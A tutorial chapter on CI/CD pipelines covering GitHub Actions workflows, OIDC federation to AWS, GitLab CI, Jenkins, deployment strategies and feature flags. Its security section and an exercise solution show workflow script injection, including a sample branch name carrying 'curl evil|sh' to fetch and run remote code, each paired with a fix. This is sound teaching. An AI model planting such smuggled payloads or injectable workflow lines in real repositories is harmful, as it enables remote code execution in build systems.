Skip to content

CI/CD Pipelines

What you’ll learn. The principles that make pipelines trustworthy; GitHub Actions workflows from basic to production-grade (triggers, jobs, caching, matrix builds, artifacts, reusable workflows, environments and secrets, OIDC federation to a cloud); how GitLab CI and Jenkins differ; and deployment strategies (rolling, blue/green, canary) plus feature flags. Prerequisites: Git & Workflows and Shell Scripting.

Continuous Integration (CI): every change is merged to the mainline frequently (at least daily) and each merge triggers an automated build and test. The point is not the server; it is the practice of integrating small changes continuously so that conflicts and breakage surface within minutes.

Continuous Delivery: every commit that passes the pipeline could be released to production at any time; releasing is a business decision (a button). Continuous Deployment removes the button: every passing change goes to production automatically.

Pipeline principles that matter more than any tool:

  1. Build once, promote the same artifact. Build one immutable artifact (container image identified by digest) and deploy that exact artifact to staging then production. Rebuilding per environment means you test something other than what you ship.
  2. Fast feedback. Target under 10 minutes for the PR check. Order cheap checks (lint, unit) before expensive ones (integration, e2e); parallelize; cache.
  3. Fail fast, deterministically. Flaky tests are bugs; quarantine and fix them, because a pipeline people re-run until green is a pipeline nobody trusts.
  4. The pipeline is code, versioned with the app, reviewed like code.
  5. Same commands locally and in CI (a Makefile or task runner), so failures are reproducible.
  6. Everything automated is auditable: who approved, what ran, which artifact went where.
  7. Rollback is a first-class path, tested, ideally the same mechanism as deploy (redeploy the previous artifact).

A typical staged pipeline:

commit -> [lint, unit tests] -> build image -> [integration tests, scan]
-> push to registry (by digest) -> deploy staging -> smoke/e2e
-> (approval) -> deploy prod (canary) -> verify SLOs -> promote / rollback

GitHub Actions workflows are YAML files in .github/workflows/. Core concepts:

  • Event (on:) triggers a workflow.
  • A workflow has jobs; jobs run in parallel on separate runners (fresh VMs, or self-hosted) unless chained with needs:.
  • A job has sequential steps: either run: shell commands or uses: a reusable action.
  • Data moves between jobs via artifacts, outputs, or caches; the filesystem is not shared.
.github/workflows/ci.yml
name: ci
on:
pull_request:
push:
branches: [main]
# cancel superseded runs on the same branch/PR
concurrency:
group: ci-${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
# least privilege by default; widen per job
permissions:
contents: read
jobs:
lint:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.12"
cache: pip # built-in dependency caching
- run: pip install -r requirements-dev.txt
- run: ruff check .
test:
timeout-minutes: 20
strategy:
fail-fast: false
matrix:
python: ["3.10", "3.11", "3.12"]
os: [ubuntu-latest]
include:
- python: "3.12"
os: macos-latest
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python }}
cache: pip
- run: pip install -r requirements.txt -r requirements-dev.txt
- run: pytest --junitxml=report.xml --cov=app
- uses: actions/upload-artifact@v4
if: always()
with:
name: test-report-${{ matrix.os }}-${{ matrix.python }}
path: report.xml

Key features used:

  • concurrency with cancel-in-progress saves minutes and avoids stale results.
  • permissions scopes the automatic GITHUB_TOKEN. Set a read-only default at the workflow level; grant packages: write, id-token: write, and so on only to the jobs that need them. Treat this as mandatory.
  • strategy.matrix fans out a job over combinations; include/exclude tune it; fail-fast: false lets other cells finish so you see all failures.
  • timeout-minutes bounds hung jobs (default is 6 hours, which is expensive).
  • Pin third-party actions to a full commit SHA for supply-chain safety (tags are mutable); actions/* and well-known publishers are lower risk but SHA-pinning plus Dependabot updates is best practice (DevSecOps).

Caches speed up dependency installs and builds. Language setup actions have cache: built in; the generic one is actions/cache:

- uses: actions/cache@v4
with:
path: |
~/.npm
node_modules/.cache
key: npm-${{ runner.os }}-${{ hashFiles('**/package-lock.json') }}
restore-keys: |
npm-${{ runner.os }}-

The key is an exact match; restore-keys are prefix fallbacks (restore a stale cache, then update it). Keying on the lockfile hash means the cache is rebuilt exactly when dependencies change. Caches are not guaranteed (evicted, size-limited, scoped by branch), so builds must succeed without them. Never cache secrets or anything a PR from a fork could poison for the main branch.

Docker layer caching in Actions: use docker/build-push-action with cache-from: type=gha and cache-to: type=gha,mode=max (BuildKit’s GitHub cache backend), or a registry cache. See Docker & Containers.

Mechanism Purpose Scope
Cache Speed up repeated work; optional Across runs
Artifact Preserve files from a run (reports, binaries); pass files between jobs Within/after a run
Job outputs Pass small strings (version, image digest) to later jobs Within a run
jobs:
build:
runs-on: ubuntu-latest
outputs:
version: ${{ steps.ver.outputs.version }}
steps:
- uses: actions/checkout@v4
- id: ver
run: echo "version=$(git describe --tags --always)" >> "$GITHUB_OUTPUT"
deploy:
needs: build
runs-on: ubuntu-latest
steps:
- run: echo "deploying ${{ needs.build.outputs.version }}"
.github/workflows/release.yml
name: release
on:
push:
branches: [main]
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
packages: write
outputs:
digest: ${{ steps.push.outputs.digest }}
steps:
- uses: actions/checkout@v4
- uses: docker/setup-buildx-action@v3
- uses: docker/login-action@v3
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- id: push
uses: docker/build-push-action@v6
with:
context: .
push: true
tags: ghcr.io/${{ github.repository }}:${{ github.sha }}
cache-from: type=gha
cache-to: type=gha,mode=max
deploy-staging:
needs: build
runs-on: ubuntu-latest
environment: staging
permissions:
id-token: write # for OIDC
contents: read
steps:
- uses: actions/checkout@v4
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/gha-deploy-staging
aws-region: eu-west-1
- run: ./scripts/deploy.sh staging "ghcr.io/${{ github.repository }}@${{ needs.build.outputs.digest }}"
deploy-prod:
needs: deploy-staging
runs-on: ubuntu-latest
environment: production # protection rules: required reviewers, wait timer
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v4
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/gha-deploy-prod
aws-region: eu-west-1
- run: ./scripts/deploy.sh production "ghcr.io/${{ github.repository }}@${{ needs.build.outputs.digest }}"

Observe the principles: one build, deploy by digest (immutable) rather than tag, separate roles per environment.

A GitHub environment (staging, production) can have protection rules (required reviewers, wait timers, branch restrictions) and its own secrets and variables. Secret scoping hierarchy: repository, environment, organization. Rules of thumb:

  • Secrets are masked in logs but a malicious step can still exfiltrate them; never expose them to untrusted code.
  • pull_request from forks gets no secrets (good). pull_request_target runs in the base repository’s context with secrets; never check out and run untrusted PR code under it. This is a well-known source of real compromises.
  • Script injection: run: echo "${{ github.event.pull_request.title }}" interpolates attacker-controlled text into a shell. Pass untrusted values through env: and reference them as shell variables.
- name: Safe handling of untrusted input
env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $TITLE"

Storing a cloud access key as a repository secret creates a permanent credential that can leak. Instead, GitHub issues each job a short-lived OIDC JWT (needs permissions: id-token: write) with claims such as sub: repo:org/repo:environment:production. The cloud provider trusts GitHub as an identity provider and exchanges the token for temporary credentials, constrained by claims.

Job --(request OIDC token)--> GitHub OIDC issuer
Job --(token)--> Cloud STS (AWS/GCP/Azure) --(validates signature + sub/aud claims)--> short-lived credentials

AWS trust policy (the important part is the sub condition):

{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:environment:production"
}
}
}]
}

Without a tight sub condition, any repository’s workflow could assume the role. GCP (Workload Identity Federation) and Azure (federated credentials) work analogously. See Cloud Fundamentals for the IAM concepts.

Avoid copy-pasting pipelines. A reusable workflow is called from others:

# .github/workflows/deploy.yml (callee)
on:
workflow_call:
inputs:
environment: {type: string, required: true}
secrets:
SLACK_WEBHOOK: {required: false}
jobs:
deploy:
runs-on: ubuntu-latest
environment: ${{ inputs.environment }}
steps:
- run: echo "deploying to ${{ inputs.environment }}"
# caller
jobs:
prod:
uses: ./.github/workflows/deploy.yml
with: {environment: production}
secrets: inherit

Composite actions bundle steps into one uses: step. Platform teams publish org-wide reusable workflows as the “golden path” pipeline (DevOps Culture).

workflow_dispatch (manual, with inputs), schedule (cron, UTC; useful for nightly scans), release, workflow_run, paths:/paths-ignore: filters for monorepos, merge_group for merge queues.

Use them for private network access, special hardware (GPUs; see MLOps), or cost at scale. Risks: persistent state between jobs and untrusted code on your network. Prefer ephemeral runners (one job per fresh VM/pod, e.g., actions-runner-controller on Kubernetes) and never attach them to public repos that accept fork PRs.

GitLab CI is defined in a single .gitlab-ci.yml, with stages and jobs, built into the GitLab platform.

stages: [test, build, deploy]
default:
image: python:3.12
test:
stage: test
cache:
key:
files: [requirements.txt]
paths: [.cache/pip]
script:
- pip install -r requirements.txt
- pytest
deploy-prod:
stage: deploy
environment: production
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
when: manual
script: ./deploy.sh

Jenkins is the long-standing self-hosted automation server, configured with a Jenkinsfile (Groovy-based pipelines), extensible with a huge plugin ecosystem, and agents you manage.

pipeline {
agent { docker { image 'python:3.12' } }
stages {
stage('Test') { steps { sh 'pip install -r requirements.txt && pytest' } }
stage('Deploy') {
when { branch 'main' }
steps { input 'Deploy to prod?'; sh './deploy.sh' }
}
}
}
GitHub Actions GitLab CI Jenkins
Hosting SaaS (+ self-hosted runners) SaaS or self-managed Self-hosted only
Config YAML workflows, marketplace actions One YAML file, includes/templates Groovy Jenkinsfile, plugins
Strength Ecosystem, tight GitHub integration All-in-one DevOps platform (registry, security scans, environments) Maximum flexibility, legacy and on-prem estates
Weakness Marketplace supply-chain risk, YAML sprawl Tied to GitLab Plugin maintenance, operating the controller, security patching

Others: CircleCI, Buildkite (hybrid: SaaS control plane, your agents), Azure Pipelines, Tekton and Argo Workflows (Kubernetes-native), Dagger (pipelines as code in real languages, runnable locally). The ideas transfer; syntax is the least important part. Choose the system that sits next to your source and identity provider unless you have a reason not to.

How a new version replaces the old one determines blast radius and rollback speed.

Recreate: stop old, start new. Simple, has downtime. Fine for batch jobs and dev.

Rolling update: replace instances gradually (e.g., 25% at a time), health-checking each batch. Default in Kubernetes (Deployments). No extra capacity needed (or small surge), but old and new versions run side by side, so the app and database schema must tolerate both. Rollback is another rolling update.

Blue/green: run two full environments. Blue serves traffic; deploy to idle green, test it, then switch the router/load balancer. Rollback is flipping back, near-instant. Costs double capacity during the switch; the database remains shared, so schema changes must be backward compatible (expand/contract pattern).

+-------------+ +-----------+
users -> | Load | ----> | BLUE v1 | (live)
| balancer | - - > | GREEN v2 | (idle, tested) <-- flip pointer
+-------------+ +-----------+

Canary: send a small fraction of traffic (1%, 5%, 25%…) to the new version, compare its metrics (error rate, latency, business KPIs) to the baseline, and promote or abort automatically. It limits the blast radius with real production traffic. Requires good observability (Observability) and traffic splitting (service mesh, ingress, or Argo Rollouts / Flagger; see Kubernetes in Production).

Shadow / mirror: copy production traffic to the new version without returning its responses. Safe test with real inputs; careful with side effects.

A/B testing is canary’s cousin for product experiments: split by user cohort rather than by random request.

Strategy Downtime Extra capacity Rollback speed Complexity
Recreate Yes None Slow Lowest
Rolling No Low Medium Low
Blue/green No 2x Instant Medium
Canary No Low Fast High

Because old and new code overlap during any zero-downtime deploy, schema changes must be staged: (1) expand: add the new column/table, code writes both; (2) migrate/backfill data; (3) deploy code reading the new structure; (4) contract: drop the old column in a later release. Never rename or drop a column in the same release that stops using it.

Feature flags decouple deploy (code in production) from release (users see it). They enable trunk-based development (unfinished work merged but dark), gradual rollout by percentage or cohort, instant kill switches, and experimentation.

# minimal flag check with a deterministic percentage rollout
import hashlib
def enabled(flag: str, user_id: str, percent: int) -> bool:
h = int(hashlib.sha256(f"{flag}:{user_id}".encode()).hexdigest(), 16)
return (h % 100) < percent

Hashing the user ID gives sticky assignment (the same user always sees the same variant). Use a real system (LaunchDarkly, Unleash, Flagsmith, OpenFeature as the vendor-neutral API) for targeting and audit. Flag types: release flags (short-lived), ops flags (kill switches), experiment flags, permission flags. Flags are debt: each is a conditional doubling test paths; delete release flags after rollout, track owners and expiry dates.

  • Rebuilding artifacts per environment; deploying a mutable latest tag.
  • Long-lived cloud keys in secrets instead of OIDC.
  • Manual steps hidden in a wiki (“then SSH in and…”).
  • Tests that need a shared mutable staging database; use ephemeral environments (per-PR preview) and containers for dependencies.
  • A 45-minute pipeline nobody waits for: parallelize, shard tests, cache, and move slow suites out of the PR path to a post-merge or nightly stage with clear ownership.
  • Ignoring failed deploys: define automatic rollback criteria and test the rollback path regularly.
  • Build once, deploy the same immutable artifact (by digest) through environments; keep PR feedback under about 10 minutes.
  • In GitHub Actions: least-privilege permissions, concurrency cancellation, lockfile-keyed caching, matrix builds, SHA-pinned actions, and environments with protection rules.
  • Prefer OIDC federation with tightly scoped sub conditions over stored cloud keys; never run untrusted PR code with secrets.
  • Rolling, blue/green, and canary trade capacity, rollback speed, and complexity; all depend on backward-compatible database changes (expand/contract).
  • Feature flags separate deployment from release but must be pruned.
  • The skills transfer across GitHub Actions, GitLab CI, and Jenkins; the principles matter more than syntax.
  1. Hands-on. Write a workflow that lints, tests on a 3-version matrix, caches dependencies, and uploads the coverage report as an artifact. Measure the run time with and without cache.
  2. Security. Find the injection bug: run: git checkout ${{ github.head_ref }}. Fix it.
  3. Hands-on. Configure OIDC from a GitHub repo to a cloud account (or an emulation) and show that the workflow has no stored secrets. What happens if you change the sub condition to a different repo?
  4. Conceptual. A deploy adds a NOT NULL column and the new code requires it. Explain why a rolling deploy can fail and write the expand/contract sequence.
  5. Design. Define canary success criteria (metrics, thresholds, duration) for a checkout service, and what triggers automatic rollback.
Solutions (2, 4)
  1. A branch name is attacker-controlled and can contain shell metacharacters, e.g. `curl evil|sh` via command substitution in names allowed by Git. Pass via env: env: BRANCH: ${{ github.head_ref }} then git checkout "$BRANCH" (and -- before the ref where applicable).
  2. During the rollout old pods insert rows without the column value, violating NOT NULL; or new pods read a column that does not yet exist if the migration lags. Sequence: add the column as nullable (or with default); deploy code that writes it; backfill; add the constraint once all writers comply; later remove the legacy path.
  • Jez Humble and David Farley, Continuous Delivery (2010).
  • Nicole Forsgren, Jez Humble, Gene Kim, Accelerate (2018).
  • GitHub Actions documentation, especially “Security hardening for GitHub Actions” and “About security hardening with OpenID Connect”.
  • Martin Fowler’s articles “Continuous Integration”, “BlueGreenDeployment”, “CanaryRelease”, and “FeatureToggle” (Pete Hodgson).
  • Argo Rollouts and Flagger documentation for progressive delivery.